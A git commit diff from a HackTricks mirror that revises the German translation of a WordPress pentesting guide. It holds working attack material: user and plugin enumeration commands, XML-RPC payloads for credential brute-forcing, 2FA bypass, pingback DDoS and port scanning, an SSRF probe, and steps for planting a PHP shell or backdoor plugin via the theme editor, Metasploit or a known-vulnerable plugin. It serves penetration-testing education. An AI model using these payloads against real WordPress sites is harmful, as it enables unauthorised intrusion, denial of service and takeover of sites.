mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
fd01f2a04b
commit
16b0d5d098
@ -2,49 +2,49 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
- **Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Theme-Dateien finden Sie in /wp-content/themes/,** also wenn Sie etwas PHP des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php**-Datei unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
|
||||
- **Hochgeladene** Dateien landen unter: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Theme-Dateien befinden sich in /wp-content/themes/,** daher wenn du etwas PHP des Themes änderst, um RCE zu erreichen, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Bei Verwendung des **Themes twentytwelve** kannst du die **404.php** Datei erreichen unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
|
||||
- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- In **wp-config.php** findest du das root-Passwort der Datenbank.
|
||||
- Standard-Login-Pfade, die man prüfen sollte: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Haupt WordPress-Dateien**
|
||||
### **Haupt-WordPress-Dateien**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
|
||||
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.
|
||||
- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
|
||||
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
|
||||
- Login-Ordner (können umbenannt sein, um sie zu verbergen):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` ist eine Datei, die ein Feature von WordPress darstellt, das es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
|
||||
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
|
||||
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
|
||||
- Der Ordner `wp-content` ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert werden.
|
||||
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
|
||||
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
|
||||
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
|
||||
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
|
||||
|
||||
**Post-Exploitation**
|
||||
**Post exploitation**
|
||||
|
||||
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
|
||||
- Die Datei `wp-config.php` enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie z. B. den Datenbanknamen, den Datenbank-Host, Benutzernamen und Passwort, Authentifizierungs-Keys und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlerbehebung hilfreich sein kann.
|
||||
|
||||
### Benutzerberechtigungen
|
||||
|
||||
- **Administrator**
|
||||
- **Redakteur**: Veröffentlicht und verwaltet seine und andere Beiträge
|
||||
- **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
|
||||
- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
|
||||
- **Abonnent**: Durchsucht Beiträge und bearbeitet sein Profil
|
||||
- **Editor**: Veröffentlicht und verwaltet eigene und fremde Beiträge
|
||||
- **Author**: Veröffentlicht und verwaltet seine eigenen Beiträge
|
||||
- **Contributor**: Verfasst und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
|
||||
- **Subscriber**: Kann Beiträge anzeigen und sein Profil bearbeiten
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **WordPress-Version abrufen**
|
||||
### **WordPress-Version herausfinden**
|
||||
|
||||
Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können.
|
||||
Prüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst
|
||||
|
||||
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -62,15 +62,17 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
- JavaScript-Dateien
|
||||
|
||||
.png>)
|
||||
|
||||
### Plugins abrufen
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Holen Sie sich Themes
|
||||
### Themes abrufen
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Versionen allgemein extrahieren
|
||||
### Versionen im Allgemeinen extrahieren
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -79,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins und Themes
|
||||
|
||||
Sie werden wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, müssen Sie **aktiv eine Liste von Plugins und Themes brute-forcen** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
|
||||
Du wirst wahrscheinlich nicht alle verfügbaren Plugins und Themes finden können. Um alle zu entdecken, musst du **aktiv eine Liste von Plugins und Themes per Brute Force** (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).
|
||||
|
||||
### Benutzer
|
||||
|
||||
- **ID Brute:** Sie erhalten gültige Benutzer von einer WordPress-Seite, indem Sie die Benutzer-IDs brute-forcen:
|
||||
- **ID Brute:** Du erhältst gültige Benutzer eines WordPress-Systems, indem du Benutzer-IDs per Brute Forcing ermittelst:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die ID **gültig** ist. Wenn die Antwort **400** ist, dann ist die ID **ungültig**.
|
||||
Wenn die Antworten **200** oder **30X** sind, bedeutet das, dass die id **gültig** ist. Wenn die Antwort **400** ist, dann ist die id **ungültig**.
|
||||
|
||||
- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer abzurufen, indem Sie abfragen:
|
||||
- **wp-json:** Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
Ein weiterer `/wp-json/` Endpunkt, der einige Informationen über Benutzer offenbaren kann, ist:
|
||||
Ein weiterer `/wp-json/` endpoint, der einige Informationen über Benutzer preisgeben kann, ist:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. **Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
|
||||
Beachte, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. **Es werden nur Informationen über Benutzer bereitgestellt, die diese Funktion aktiviert haben**.
|
||||
|
||||
Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
|
||||
Also beachte, dass **/wp-json/wp/v2/pages** IP-Adressen leak kann.
|
||||
|
||||
- **Benutzernamenenumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, wenn der angegebene **Benutzername existiert oder nicht**.
|
||||
- **Login username enumeration**: Beim Login über **`/wp-login.php`** ist die **Meldung** **unterschiedlich**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Wenn `xml-rpc.php` aktiv ist, können Sie einen Brute-Force-Angriff auf Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren[ indem Sie dies verwenden](https://github.com/relarizky/wpxploit) zum Beispiel).
|
||||
Wenn `xml-rpc.php` aktiv ist, kannst du einen credentials brute-force durchführen oder es nutzen, um DoS-Angriffe gegen andere Ressourcen zu starten. (Du kannst diesen Prozess[ using this](https://github.com/relarizky/wpxploit) zum Beispiel automatisieren).
|
||||
|
||||
Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen und senden Sie diese Anfrage:
|
||||
Um zu prüfen, ob es aktiv ist, versuche, auf _**/xmlrpc.php**_ zuzugreifen und diese Anfrage zu senden:
|
||||
|
||||
**Überprüfen**
|
||||
**Prüfen**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -118,9 +120,9 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
|
||||
```
|
||||

|
||||
|
||||
**Anmeldeinformationen Bruteforce**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu bruteforcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um credentials zu brute-force. Wenn du eines davon findest, kannst du so etwas senden:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -130,13 +132,13 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind.
|
||||
Die Meldung _"Incorrect username or password"_ innerhalb einer 200-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Mit den korrekten Zugangsdaten können Sie eine Datei hochladen. In der Antwort erscheint der Pfad ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -166,18 +168,18 @@ Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Es gibt auch einen **schnelleren Weg**, um Anmeldeinformationen mit **`system.multicall`** zu brute-forcen, da Sie mehrere Anmeldeinformationen in derselben Anfrage ausprobieren können:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Umgehung von 2FA**
|
||||
**Bypass 2FA**
|
||||
|
||||
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen unter Umgehung von 2FA anzumelden**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
|
||||
Diese Methode ist für Programme und nicht für Menschen gedacht und außerdem veraltet, daher unterstützt sie kein 2FA. Wenn du gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, **kannst du xmlrpc.php möglicherweise missbrauchen, um dich mit diesen creds einzuloggen und 2FA zu umgehen**. Beachte, dass du nicht alle Aktionen durchführen kannst, die über die Konsole möglich sind, aber du könntest trotzdem RCE erreichen, wie Ippsec erklärt in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS oder Port-Scanning**
|
||||
**DDoS or port scanning**
|
||||
|
||||
Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie WordPress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
|
||||
Dies kann verwendet werden, um **tausende** von WordPress **Seiten** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
|
||||
Wenn du die Methode _**pingback.ping**_ in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
|
||||
Dies kann verwendet werden, um **tausende** Wordpress-**Sites** dazu zu bringen, eine **einzige Adresse** aufzurufen (wodurch dort ein **DDoS** ausgelöst wird), oder du kannst es nutzen, um Wordpress ein internes **Netzwerk** scannen zu lassen (du kannst jeden Port angeben).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -189,9 +191,9 @@ Dies kann verwendet werden, um **tausende** von WordPress **Seiten** zu **bitten
|
||||
```
|
||||

|
||||
|
||||
Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist.
|
||||
Wenn du **faultCode** mit einem Wert **größer** als **0** (17) erhältst, bedeutet das, dass der Port offen ist.
|
||||
|
||||
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
|
||||
Sieh dir die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -207,17 +209,17 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
|
||||
Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um eine **DoS** zu **verursachen**.\
|
||||
Außerdem wird standardmäßig `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
|
||||
Diese Datei befindet sich normalerweise im Stammverzeichnis der Wordpress-Site: **`/wp-cron.php`**\
|
||||
Wenn auf diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Query** ausgeführt, daher kann sie von **Angreifern** verwendet werden, um einen **DoS** zu **verursachen**.\
|
||||
Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf ausgeführt (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert), was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
|
||||
|
||||
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
|
||||
Es wird empfohlen, Wp-Cron zu deaktivieren und stattdessen einen echten cronjob auf dem Host anzulegen, der die benötigten Aktionen in regelmäßigen Intervallen ausführt (ohne Probleme zu verursachen).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Versuchen Sie, _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ aufzurufen, und die Wordpress-Seite könnte eine Anfrage an Sie senden.
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ und die Worpress-Site könnte eine Anfrage an dich senden.
|
||||
|
||||
Dies ist die Antwort, wenn es nicht funktioniert:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -228,104 +230,104 @@ Dies ist die Antwort, wenn es nicht funktioniert:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Dieses Tool überprüft, ob die **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
|
||||
Dieses Tool prüft, ob der **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** vorhanden sind; falls ja, versucht es, diese auszunutzen.
|
||||
|
||||
## Automatische Werkzeuge
|
||||
## Automatische Tools
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Zugriff durch Überschreiben eines Bits erhalten
|
||||
## Zugriff durch Überschreiben eines Bits
|
||||
|
||||
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konntest du 1 Bit aus einer beliebigen WordPress-Datei umkehren. Du konntest also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
|
||||
Mehr als ein echter Angriff ist das eher eine Kuriosität. In der CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man ein Bit in jeder wordpress-Datei umdrehen. Damit konnte man die Position `5389` der Datei `/var/www/html/wp-includes/user.php` ändern, um die NOT (`!`) Operation zu NOPen.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Ändern einer PHP-Datei des verwendeten Themas (Admin-Anmeldeinformationen erforderlich)**
|
||||
**Ändern einer php-Datei des verwendeten Themes (admin-Zugangsdaten benötigt)**
|
||||
|
||||
Aussehen → Theme-Editor → 404-Vorlage (rechts)
|
||||
Design → Theme-Editor → 404-Template (rechts)
|
||||
|
||||
Ändern Sie den Inhalt in eine PHP-Shell:
|
||||
Ändere den Inhalt zu einer php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Suchen Sie im Internet, wie Sie auf diese aktualisierte Seite zugreifen können. In diesem Fall müssen Sie hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Suche im Internet, wie du auf diese aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
Sie können verwenden:
|
||||
Du kannst verwenden:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
um eine Sitzung zu erhalten.
|
||||
um eine Session zu bekommen.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP-Plugin
|
||||
### PHP plugin
|
||||
|
||||
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.\
|
||||
Erstellen Sie Ihre PHP-Hintertür beispielsweise mit:
|
||||
Es könnte möglich sein, .php Dateien als Plugin hochzuladen.\
|
||||
Erstelle deine php-Backdoor z.B. mit:
|
||||
|
||||
.png>)
|
||||
|
||||
Fügen Sie dann ein neues Plugin hinzu:
|
||||
Dann füge ein neues Plugin hinzu:
|
||||
|
||||
.png>)
|
||||
|
||||
Laden Sie das Plugin hoch und drücken Sie auf Jetzt installieren:
|
||||
Plugin hochladen und auf Install Now drücken:
|
||||
|
||||
.png>)
|
||||
|
||||
Klicken Sie auf Fortfahren:
|
||||
Auf Procced klicken:
|
||||
|
||||
.png>)
|
||||
|
||||
Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre hochgeladene Shell sehen:
|
||||
Wahrscheinlich passiert zunächst nichts, aber wenn du zu Media gehst, wirst du sehen, dass deine Shell hochgeladen wurde:
|
||||
|
||||
.png>)
|
||||
|
||||
Greifen Sie darauf zu und Sie werden die URL sehen, um die Reverse-Shell auszuführen:
|
||||
Rufe sie auf und du siehst die URL, um die reverse shell auszuführen:
|
||||
|
||||
.png>)
|
||||
|
||||
### Hochladen und Aktivieren eines bösartigen Plugins
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anfällig bekannt ist und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
|
||||
Diese Methode beinhaltet die Installation eines bekannten, verwundbaren Plugins, das ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Vorgang wird über das WordPress-Dashboard wie folgt durchgeführt:
|
||||
|
||||
1. **Plugin-Akquisition**: Das Plugin wird aus einer Quelle wie Exploit DB wie [**hier**](https://www.exploit-db.com/exploits/36374) bezogen.
|
||||
2. **Plugin-Installation**:
|
||||
- Navigieren Sie zum WordPress-Dashboard, gehen Sie dann zu `Dashboard > Plugins > Plugin hochladen`.
|
||||
- Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
|
||||
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
|
||||
4. **Ausnutzung**:
|
||||
- Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.
|
||||
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
|
||||
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
|
||||
1. **Plugin Acquisition**: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigiere im WordPress-Dashboard zu `Dashboard > Plugins > Upload Plugin`.
|
||||
- Lade die Zip-Datei des heruntergeladenen Plugins hoch.
|
||||
3. **Plugin Activation**: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
|
||||
4. **Exploitation**:
|
||||
- Mit installiertem und aktiviertem Plugin "reflex-gallery" kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
|
||||
- Das Metasploit-Framework bietet einen Exploit für diese Verwundbarkeit. Durch Laden des entsprechenden Moduls und Ausführen bestimmter Befehle kann eine meterpreter-Session etabliert werden, die unautorisierten Zugriff auf die Seite gewährt.
|
||||
- Es sei darauf hingewiesen, dass dies nur eine von vielen Methoden ist, um eine WordPress-Seite auszunutzen.
|
||||
|
||||
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
|
||||
Der Inhalt enthält bildliche Darstellungen der Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Verwundbarkeiten auf diese Weise illegal und unethisch ist, wenn keine ausdrückliche Genehmigung vorliegt. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext verwendet werden, z. B. bei autorisiertem pentesting.
|
||||
|
||||
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Von XSS zu RCE
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Skript, das entwickelt wurde, um eine **Cross-Site Scripting (XSS)**-Schwachstelle in **Remote Code Execution (RCE)** oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe [**diesen Beitrag**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:**
|
||||
- _**Privilegieneskalation:**_ Erstellt einen Benutzer in WordPress.
|
||||
- _**(RCE) Benutzerdefiniertes Plugin (Hintertür) hochladen:**_ Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.
|
||||
- _**(RCE) Eingebautes Plugin bearbeiten:**_ Bearbeiten Sie ein eingebautes Plugin in WordPress.
|
||||
- _**(RCE) Eingebautes Theme bearbeiten:**_ Bearbeiten Sie ein eingebautes Theme in WordPress.
|
||||
- _**(Benutzerdefiniert) Benutzerdefinierte Exploits:**_ Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ist ein Script, das dazu entwickelt wurde, eine **Cross-Site Scripting (XSS)**-Verwundbarkeit zu einer **Remote Code Execution (RCE)** oder anderen kritischen Verwundbarkeiten in WordPress zu eskalieren. Für mehr Infos siehe [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Es bietet **Support für WordPress Versions 6.X.X, 5.X.X und 4.X.X und erlaubt:**
|
||||
- _**Privilege Escalation:**_ Erstellt einen Benutzer in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Lädt dein eigenes Plugin (Backdoor) in WordPress hoch.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Bearbeitet eingebaute Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Bearbeitet eingebaute Themes in WordPress.
|
||||
